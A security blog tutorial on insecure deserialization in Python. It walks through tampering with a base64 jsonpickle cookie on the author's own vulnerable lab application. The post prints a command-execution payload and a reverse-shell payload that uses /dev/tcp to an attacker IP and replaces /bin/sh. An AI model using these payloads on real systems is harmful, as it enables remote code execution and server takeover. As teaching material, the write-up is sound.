De-serialization: sometimes pickle can be too sour

~/.0xbughunter
5 min readAug 15, 2020

De-serialization!!! Wonder What it is???

Modern programming languages especially Object-Oriented Programming [OOPs] often reserve objects in the system in a format that can be written either to a disk for persistency or onto a network stream.

In this case, serialized objects can be written into simple text-based formats like XML, JSON, and YAML, as they are perfectly fit for this job, as well as for binary based data structures, encoding formats such as Base64, is used as it ensures that the encoded binary based data aren’t misinterpreted when written to a disk or sent over a network stream.

Eh……let me break this down a bit….

Serialization refers to a process of converting an object into a format that can be written onto a disk (for example, saved to a file or a datastore), sent through streams (for example stdout), or sent over a network. The format in which an object is serialized into, can either be binary or structured text (for example XML, JSON YAML…). JSON and XML are two of the most commonly used serialization formats within web applications.

De-serialization, on the other hand, is the opposite of serialization ie, transforming serialized data coming from a file, stream, or network socket into an object. Though the serialization / de-serialization concept is across OOP oriented languages, for this article focus will be on python de-serialization.

Now, that we have got a glimpse of basic concepts, let’s dive into insecure de-serialization in Python.

Note: Pickling or Unpickling are also alternatively known by these names too “serialization or marshalling”, “de-serialization or unmarshalling”.

Let’s do some Pickling with Python!!

Similar to serialization Pickling is a process through which a Python object is converted into byte stream and the reverse of it is called unpickling.

For demo purposes, I’ve built a vulnerable application using Python’s Pickle module to test the de-serialization exploit and it’s publicly available in dockerhub.

Note: steps to spin the container has been mentioned in the above link.

For accessing the application all you have to do is spin the container up using your docker CLI. Now if you have done downloading the application let’s fire it up and see what it looks like.

So, the first thing would be to identify the application parameter through which we can perform insecure de-serialization. You can use ZAP or Burp Suite for analyzing the request and response. I pretty much use Burp Suite for performing the tests so, here I will be using the same.

Below is the link to configure Burp Suite with a Browser https://portswigger.net/support/configuring-firefox-to-work-with-burp

There we go!!! a base64 data being transmitted over HTTP as a cookie for each of the requests. Time to decode it and have a check as to what it holds within it.

Seems like upon decoding the cookie I was able to identify a dictionary containing a username and a key related to py objects in it. Let’s try to manipulate the cookie by providing a different username and then re-encoding it to base64. Once done, it’s time to use it in the request and validate the response.

Look what we have found in the response!!! The username that I had used while crafting the cookie is being reflected. Well, this points to one thing, the cookie is being parsed in the backend.
Time to take it one step ahead let’s craft a payload in python and then encode it in base64 so that it can be used as a cookie in the request

{“py/object”: “__builtin__.eval”, “py/initargs”: {“py/tuple”: [“__import__(‘subprocess’).Popen(‘ls’, shell=True)”]}}

The payload crafted above should technically provide us the list of folders from the app server if in case it gets successfully executed.

Something feels fishy in here!! Response says
Popen’ object has no attribute ‘username’ ”.
Let’s analyze the response in detail. Hoping to get a clue out from this!!!

Well Well Well!!! Look what we have in here.
A python library by name jsonpickle being used for serialization and de-serialization of Python Objects. I have a hunch that this can be further exploited and a reverse shell can be obtained.

Let’s pull the sleeves up and Exploit It!!

Time to craft the mighty payload!!
(won’t be explaining you much about the payload for now)

{“py/object”: “__builtin__.eval”, “py/initargs”: {“py/tuple”: [“__import__(‘subprocess’).Popen([‘mv /bin/sh /bin/sh.orig && ln -s /bin/bash /bin/sh && 0<&196;exec 196<>/dev/tcp/<ip addr>/9000 ; sh <&196 >&196 2>&196’], shell=True)”]}}

Before injecting this payload into the request, I will be setting up a listener using netcat.

Now, let us encode the payload using base64 and inject it in the Cookie parameter. Firing up the malicious request now hoping it get a reverse shell out of it.

Seems like we have received the same old 500 internal server error in response as usual, but let’s check what’s happening in netcat listener.

Voila!!!! We got a hit.

As you can see the payload worked and we were able to get reverse shell access even though the server returned 500 internal server error.

Thank you for reading my article and my attempt to simplify the concept of python insecure de-serialization!!! Please do post your comments or queries regarding the same.

Happy to help!!!!

--

--